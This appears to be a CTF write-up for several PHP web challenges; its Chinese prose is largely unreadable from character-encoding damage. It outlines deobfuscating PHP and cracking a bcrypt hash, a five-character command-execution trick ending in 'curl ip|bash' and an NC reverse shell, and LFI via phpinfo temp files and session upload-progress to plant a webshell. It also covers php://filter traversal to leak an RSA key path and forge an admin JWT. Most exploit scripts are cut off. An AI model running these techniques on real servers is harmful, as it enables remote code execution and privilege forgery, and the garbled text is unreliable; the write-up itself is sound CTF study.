web6 - ๐๐๐๐
ๅ ่ฎฒ่ฟ้ขๆ่ทฏ
ๆบไปฃ็ ๆ็น้ฎ้ข ๆไปฌ็ดๆฅๆฟ้ข็ฎ็ๆบไปฃ็
ๅๆ่ฟ็จ
ๅจๆ ผๅผๅๅ,ๆไปฌ้่ฆๅคง่ดไบ่งฃไปฃ็ ็ๆง่ก
ๆญคๅคๆไปฌๅฏไปฅ้่ฟๅจ่งฃๅฏๅฝๆฐไธญๆทปๅ echo var_dump ็ญๅฝๆฐๆฅๅพๅฐ
step 1 ๅพๅฐๅๆ
step 2 ๆฟๆข
step 3 ่งๅฏไปฃ็ ไธๆง่ก็ปๆ.ๅจๆญคๆฌก่ฟ็จไธญ,ๆไปฌๅฏไปฅๆฟๆขๅๆ็ไปฃ็ ๆง่ก้กบๅบ
step 4 ๆณจ้ๆ ธๅฟไปฃ็
step 5 OK ๆ ธๅฟไปฃ็ ๆๅจ ๅๆททๆทOKใ:(
step 6 ๅๆไปฃ็
step 7 ็็ ดๅฏ็ // ้ข่ฎก2-3ๅฐๆถ
step 8 strlen(cmd)<= 5 ็ๅฝไปคๆง่ก ไธป่ฆ็ฅ่ฏ็น > ๅฝไปคๅๅฐๆไปถไธญ rev ๅๅบ curl ip|bash ๅฝไปคๆง่ก
NC ๅๅผนshell๏ผ่ฏฆๆ ่งPayloadๅwppayload ๆญฃ็กฎๆงๆผ็คบ,ๆๅ ณไธไธๅฝๅฑ,ๅผไธไธๆๅก
OK ็ปง็ปญ
ไปฅ็บฟไธ็ฏๅขไธบๆผ็คบ ๅฏ็ ็็ ด็จ่ชๅทฑ็ๆบๅญ่ทใใใใ
ใใใใDNSๅบ้ฎ้ขไบ
ๆไปฌๆขๆIPV4 ็ๅๅ ญ่ฟๅถๆฅ่ฏ่ฏOK finish
1 | <?php |
ๆ ผๅผๅ+ๅๆททๆท
- ๆ ผๅผๅ ไพฟไบ่งๅฏ
1 |
|
- ๅๆททๆท
1 | require 'vendor/autoload.php';// composer ๅ ๅผ็จ็ไธไธช็นๅพ, ๆญคๅคjsonๆไปถๅฏไปฅ่ฎฟ้ฎ composer.json |
ๅๆททๆท็่ฏ,ๅฏไปฅไฝฟ็จxdebugๆนๅผ่ทๅใไนๅฏไปฅๅจๅฉ็จ่งฃๅฏ่ทๅๅๆฅ็ๅๆฐ
- ่ทๅพ
$2y$10\$RBfi8QpJJQQmJD6FylurJeqmP.6cMn7tdoKczL2v9hScd9zDj3wXe
ๅๆ
1 | // ้ข่ฎก2-3ๅฐๆถ ๅฏไปฅๅผๅค็บฟ็จ ่ฟไธชๅชๆฏไธไธช้คๆด็ไปฃ็ |
- strlen(cmd) <= 5 ็ ๅฝไปคๆง่ก
1 | import HackRequests |
ๅฐๆญค็ปๆ
web7 -Try:GET_file
WEb: GET_file
HINT1 ๏ผdirsearch the path ไผๅ็ฐๅญๅจphpinfo.php ไผๅพ่ช็ถ็ๆณๅฐPHPINFO LFI
ๆนๆณไธ
ๅบๆฌๅ็ๆฏๅฉ็จไธไผ ๆถ็TMPๆไปถ๏ผๅ ๅฎนๅฏๆง๏ผ่ฟ่กๅ ๅซ,ไป่webshell
้พ็นๅจไบๅจphpๆไปถ่งฃๆๅtmpๆไปถไผ่ขซๅ ้ค
ๆไปฌๅฏไปฅๅฉ็จsocketๆฅ่ฏปๅPHPINFOๆไปถ่ทๅพtmpๆไปถ,่ไธๆฏ็ญphpๆไปถๅ จ้จ่งฃๆๅฎ
ๆนๆณไบ
ๅฉ็จsession ไธไผ ๆบๅถ,ๅฏไปฅ็ดๆฅไธไผ shell๏ผๅจๆฌๅฐๅ ๅซๅณๅฏ
ๅ ็คบ่ๆนๆณไบ
upload_progress_/tmp/7IDUrqGOt8PMATm852/flag.txt
ๅพๅฐflagๅฐๅ
ๅฝไธไผ ๅๆญขๆถ,sess_fe1w0ไธบ็ฉบ๏ผไฝๅฝ็ซไบไธไผ ๆถ๏ผๅ ๅฎนไธบ
upload_progress_|a:5:{s:10:โstart_timeโ;i:1601320350;s:14:โcontent_lengthโ;i:51480;s:15:โbytes_processedโ;i:5254;s:4:โdoneโ;b:0;s:5:โfilesโ;a:1:{i:0;a:7:{s:10:โfield_nameโ;s:4:โfileโ;s:4:โnameโ;s:8:โtest.txtโ;s:8:โtmp_nameโ;N;s:5:โerrorโ;i:0;s:4:โdoneโ;b:0;s:10:โstart_timeโ;i:1601320350;s:15:โbytes_processedโ;i:5254;}}}
ๅๅฝไฝ ๅ ๅซsessๆถ,ๅฐฑๆฏ่งฃๆๅ ถไธญ็PHP่ฏญๅฅ ๅฆ๏ผๆญคๅค็คบ่ๆนๆณไธ:
ๅ ถๅบๆฌๆๆณไนๆฏๅฉ็จไธไผ ๆบๅถใ็ซไบไธไผ
ๆณจๆ apache2้่ฆ้็ฝฎ
่ฟไธชๆนๆณ็ๅฎ็ฐ้่ฆๆ่พๅฅฝ็็ฝ็ป้พๆฅใใใๆไปฌๅฏไปฅ็ไธ็น /tmp/g ไธญ็ๅ ๅฎน ไธpayload ไธ่ด
ไนๅๅช้ๆฌๅฐๅ ๅซๅฐฑ่ก
ๅพๅฐflagๅฐๅ
/tmp/7IDUrqGOt8PMATm852/flag.txt
CUMTCTF{Orz_to_php1nf0}
่งฃๆณไธ
ๆซๆ่ทฏๅพๅพๅฐphpinfo.php
็ฅ่ฏ็น:
- phpไผๆpost่ฏทๆฑ, ๅญๅจๅจไธดๆถๆไปถไธญ, ๅนถๅจ่ฏทๆฑ็ปๆๅๅ ้คไธดๆถๆไปถ
- phpinfoไธญไผๆพ็คบ_FILEๅ้, ๅ ถไธญไผๆพ็คบไธดๆถๆไปถ่ทฏๅพ
- ๅ้ๅคงๆฐๆฎ้็่ฏทๆฑ, ๆญคๅคๅฉ็จ
socket
ๆฅ่ฎฟ้ฎphpinfo๏ผ่ทๅพไธดๆถๆไปถๅฐๅ
exp
1 | #!/usr/bin/python |
่งฃๆณไบ
ๅฉ็จseesion ๆบๅถ,ๅฐshellๅๅ ฅsessionๆไปถ
- exp
1 | import io |
ๆฒกๆไบบๆฏๆๆดๆ๐๐๐
่ฟ้ข็ฑไบdocker็ฏๅขๆ้ฎ้ข,ๆจ่ๅจ็ฉ็ๆบไธๆต่ฏ
ๆ นๆฎๆ็คบไธๆญฅๆญฅ่ฎฟ้ฎ
ไนๅ ้่ฆๆณจๆๆฅ็cookie
ๆไธไธชJWT json web token
ๆ นๆฎๆ็คบ post path
ๅๆ นๆฎไนๅ็hint
่ฟ้ๅ็ฐๆฒกๆๆง่กindex.php
path=php://filter/convert.quoted-printable-encode/resource=/fe1w0/../proc/self/cwd/index.php
่ทๅพ็ง้ฅๅฐๅ
fe1w0/fba60b53-0016-41ef-8c12-615c02768b12_fe1w0_own_rsa_private_key.pem
ไนๅไฝฟ็จ็ง้ฅ็ไบงadmin็JWT
ไปฃ็ ๅฆไธ:
- ๆฟๆข admin ็JWT ่ทๅพflag
๐:CUMTCTF{J^^T_L1k*_em0ji}- ่ฟ้ขๆ่ทฏๅช่ฆๆฏๆ้ admin ็JWT
1 | <!--info.php-->๐จโ๐ป๐๐โฐ๏ธ</br><!--something in the index.php --></br> |
ๆญคๅค,ๆดๅ ทJWTๅพๅฐไธไธๆญฅๆ็คบ
ไฝฟ็จpath=php://filter/convert.quoted-printable-encode/resource=/x/../proc/self/cwd/index.php
ๅฏไปฅ็ๅคง่ด่ฏปๅไปฃ็
1 | "fe1w0/fba60b53-0016-41ef-8c12-615c02768b12_fe1w0_own_rsa_private_key.pem",=0A 'public'=3D>'fe1w0/fba60b53-0016-41ef-8c12-615c02768b12_fe1w0_own_rsa_public_key.pem'=0A);=0Aif(file_exists($arr['private']))=0A{=0A$privateKey =3D file_get_contents('fe1w0/fba60b53-0016-41ef-8c12-615c02768b12_fe1w0_own_rsa_private_key.pem');=0A}=0Aelse {=0A$privateKey =3D << "=E2=9B=8F=EF=B8=8F=F0=9F=A7=91=E2=80=8D=F0=9F=8E=93",=0A "aud" =3D> "=F0=9F=A6=8C=F0=9F=A5=9A",=0A 'admin' =3D> false,=0A "nbf" =3D> time(),=0A "hint" =3D> 'post path'=0A);=0A$jwt =3D JWT::encode($payload, $privateKey, 'RS256');=0Asetcookie("Authorization", $jwt, time()+3600);=0A$decoded =3D JWT::decode($jwt, $publicKey, array('RS256'));=0A$decoded_array =3D (array) $decoded;=0Aecho "";=0Aif(preg_match('/index.php/',$_SERVER['PHP_SELF']))=0A{=0A echo "=E4=BD=A0=E5=B7=B2=E7=BB=8F=E8=A2=AB=E9=99=84=E9=AD=94=E4=BA=86,=E5=BF=AB=E4=B8=8A=F0=9F=91=8D=F0=9F=91=8C=F0=9F=99=8C";=0A}=0A |
ๅพๅฐ็ง้ฅๅฐๅfe1w0/fba60b53-0016-41ef-8c12-615c02768b12_fe1w0_own_rsa_private_key.pem
1 | -----BEGIN RSA PRIVATE KEY----- |
ๆ้ admin
๏ผ่ทๅพflag
1 | import jwt |